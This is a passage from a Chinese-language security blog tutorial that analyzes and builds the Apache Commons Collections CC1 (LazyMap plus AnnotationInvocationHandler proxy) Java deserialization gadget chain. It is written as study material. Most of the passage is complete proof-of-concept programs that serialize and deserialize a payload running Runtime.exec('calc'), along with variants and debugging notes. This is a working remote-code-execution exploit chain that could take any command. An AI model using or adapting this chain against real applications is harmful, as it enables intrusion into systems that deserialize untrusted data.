case "annotationType":
return type;
}
// Handle annotation member accessors
Object result = memberValues.get(member);
if (result == null)
throw new IncompleteAnnotationException(type, member);
if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
return result;
}
|
那么如何调用到AnnotationInvocationHandler#invoke
呢?这里就可以利用到动态代理。
现在先回到LazyMap的get()方法源码,重点分析一下if语句:
1
2
3
4
5
6
7
|
public Object get(Object key) {
if (!this.map.containsKey(key)) {
//审代码如果传入的key不存在,就会才会进入这个if条件
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
}
|
来看进入if语句的条件,this.map.containsKey(key)
就是看键值表中是否有这个key,在这里需要没有这个key才能进入if条件;那么这个key对应的invoke中的代码就是String member = method.getName();
学过动态代理的话就知道这里的member对应的就是代理对象调用的方法名,一般在一个java对象中都不会有一个以方法名为键的键值对,所以一般这里的if条件其实是可以忽略的。然后我想了一下,如果我认为设置一个键值对的键就是代理对象要调用的方法名称,那么是否应该不会继续下去。理论上是个人感觉是可以的,后面实践一下。
——
现在继续链子的说明
前面说到了需要用动态代理,所以这里需要用到java.lang.reflect.Proxy
以及InvocationHandler接口
在这里AnnotationInvocationHandler
实现了InvocationHandler
接口并重写了invoke方法,符合基本条件。
看代码所需的对象,这里就看看在哪些地方需要注意:
首先就是AnnotationInvocationHandler#invoke
中调用get()的地方,memberValues.get(member);
,所以这里的membervalues需要为LazyMap类对象,所以我们可以如下构造:
1
2
3
4
|
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor1 = clazz.getDeclaredConstroctor(Class.class,Map.class);
constroctor1.setAccessible(true);
object o = constructor1.newInstance(Retention.class,outerMap);
|
现在再来看一下outerMap的内容,现在首先就需要看一下LazyMap的构造方法等,稍微看一下源码,可以知晓我们利用到的代码为:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
|
所以我们可以如下构造:
1
2
3
4
|
Transformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})});
Map hashMap = new HashMap();
Transformer outerMap = LazyMap.decorate(hashMap,chain);
|
再将前面综合一下,就是如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.annotation.Retention;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Constructor;
public class Main{
public static void main(String[] args) throws Exception {
Transformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})});
Map hashMap = new HashMap();
Map outerMap = LazyMap.decorate(hashMap,chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor1 = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor1.setAccessible(true);
Object o = constructor1.newInstance(Retention.class,outerMap);
}
}
|
最基本的链子大概如上,现在就是思考如何跳到LazyMap的get方法,结合前面的说法,现在就是要思考如何设置代理对象,结合动态代理的流程,在这里我们将Map接口类作为“中间”类,刚好“委托类”LazyMap是实现了Map接口的,所以是很合适的。
然后理解一下ysoserial链,可以知晓在遍历Map(proxy)时会调用memberValues.entrySet方法,进而可以触发invoke方法。
一步一步来,所以首先我们这里构造handler,
1
|
InvocationHandler handler = (InvocationHandler)constructor1.newInstance(Retention.class,outerMap);
|
然后调用Proxy的newProxyInstance()方法,用来创建一个代理对象,如下:
1
2
3
|
//ysoerial链这里其实利用的是Map.class的构造器等,但是其实在最后的利用中差别不大,先跟这个
Class[] interfaces = Map.class.getInterfaces();
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),interfaces,outerMap);
|
这样就成功创建了一个代理对象,这是再看ysoserial,精妙的地方来了,如下代码:
1
|
Object o = constructor1.newInstance(Retention.class,proxyMap);
|
然后再将这个o序列化并反序列化,当反序列化的时候,会对proxyMap调用entryMap()方法,此时就会到AnnotationInvocationHandler的invoke方法,然后一切都会往预期的方向发展。再将前面所有的代码结合起来稍微改改,就是如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.annotation.Retention;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Constructor;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Proxy;
import java.lang.reflect.InvocationHandler;
public class Main{
public static void main(String[] args) throws Exception {
Transformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})});
Map hashMap = new HashMap();
Map outerMap = LazyMap.decorate(hashMap,chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor1 = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor1.setAccessible(true);
InvocationHandler handler = (InvocationHandler)constructor1.newInstance(Retention.class,outerMap);
Class[] interfaces = Map.class.getInterfaces();
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),interfaces,handler);
Object o = constructor1.newInstance(Retention.class,proxyMap);
//序列化
ObjectOutputStream x = new ObjectOutputStream(new FileOutputStream("ser.ser"));
x.writeObject(o);
x.close();
//反序列化
ObjectInputStream ctf = new ObjectInputStream(new FileInputStream("ser.ser"));
ctf.readObject();
ctf.close();
}
}
|
报错

这是因为在设置代理对象时的第二个参数Map.class.getInterfaces()
的Map.class并没有实现Map接口,动态代理没掌握好,照猫画虎了属于是,所以这里完全是多此一举了,我们就可以直接使用Map.class即可,而且本身Map就是一个接口类。
所以最终的POC为:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.annotation.Retention;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Constructor;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Proxy;
import java.lang.reflect.InvocationHandler;
public class Main{
public static void main(String[] args) throws Exception {
Transformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})});
Map hashMap = new HashMap();
Map outerMap = LazyMap.decorate(hashMap,chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor1 = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor1.setAccessible(true);
InvocationHandler handler = (InvocationHandler)constructor1.newInstance(Retention.class,outerMap);
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
Object o = constructor1.newInstance(Retention.class,proxyMap);
//序列化
ObjectOutputStream x = new ObjectOutputStream(new FileOutputStream("ser.ser"));
x.writeObject(o);
x.close();
//反序列化
ObjectInputStream ctf = new ObjectInputStream(new FileInputStream("ser.ser"));
ctf.readObject();
ctf.close();
}
}
|
成功弹出计算机:

——————
思考
OK,现在就是解决前面遗留的问题。
1.设置一个方法名称对应的键的实践,也就是加一个hashMap.put("entrySet","xxxx");
。最后的测试代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.annotation.Retention;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Constructor;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Proxy;
import java.lang.reflect.InvocationHandler;
public class Main{
public static void main(String[] args) throws Exception {
Transformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})});
Map hashMap = new HashMap();
hashMap.put("entrySet","xxxx");//here!!!!
Map outerMap = LazyMap.decorate(hashMap,chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor1 = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor1.setAccessible(true);
InvocationHandler handler = (InvocationHandler)constructor1.newInstance(Retention.class,outerMap);
Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
Object o = constructor1.newInstance(Retention.class,proxyMap);
//序列化
ObjectOutputStream x = new ObjectOutputStream(new FileOutputStream("ser.ser"));
x.writeObject(o);
x.close();
//反序列化
ObjectInputStream ctf = new ObjectInputStream(new FileInputStream("ser.ser"));
ctf.readObject();
ctf.close();
}
}
|
最终并没有弹出计算机,想法正确。
2,.创建代理对象时的方法参数问题,在我们想要利用的LazyMap链中,其实只要到了AnnotationInvocationHandler#invoke
中,正确调用了get方法,那么对于后续的如正常代理中的会去到委托类一下都是无意义的,而且这里本身LazyMap就实现了Map接口,所以在创建代理对象的时候,可以像前面的POC那样构造,但其实使用LazyMap也是可以的,如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.annotation.Retention;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Constructor;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.lang.reflect.Proxy;
import java.lang.reflect.InvocationHandler;
public class Main{
public static void main(String[] args) throws Exception {
Transformer chain = new ChainedTransformer(new Transformer[]{new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{Runtime.class,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})});
Map hashMap = new HashMap();
Map outerMap = LazyMap.decorate(hashMap,chain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor1 = clazz.getDeclaredConstructor(Class.class,Map.class);
constructor1.setAccessible(true);
InvocationHandler handler = (InvocationHandler)constructor1.newInstance(Retention.class,outerMap);
Class[] interfaces = LazyMap.class.getInterfaces();
Map proxyMap = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),interfaces,handler);
Object o = constructor1.newInstance(Retention.class,proxyMap);
//序列化
ObjectOutputStream x = new ObjectOutputStream(new FileOutputStream("ser.ser"));
x.writeObject(o);
x.close();
//反序列化
ObjectInputStream ctf = new ObjectInputStream(new FileInputStream("ser.ser"));
ctf.readObject();
ctf.close();
}
}
|
也成功弹出计算机:

CC1的局限
在Java 8u71以后,官方修改了sun.reflect.annotation.AnnotationInvocationHandler的readObject方法。
改动后,不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象,并将原来的键值添加进去。所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,而原来我们精心构造的Map不再执行set或put操作,也就不会触发RCE了。
参考文章:
(后面CC链都是跟过的,还有的不止CC链,可以多看看别人的博客,比如第一个人的就是,强推)
https://su18.org/post/ysoserial-su18-2/#%E6%94%BB%E5%87%BB%E6%9E%84%E9%80%A0-2
https://xz.aliyun.com/t/10387?time__1311=Cqjx2Qi%3DomqGqGNDQieiKd7KF8DAhOi3RiD#toc-2
当然nivia的博客:
https://nivi4.notion.site/Java-CommonCollections2-bffcf256243d414192c43fdefc916df9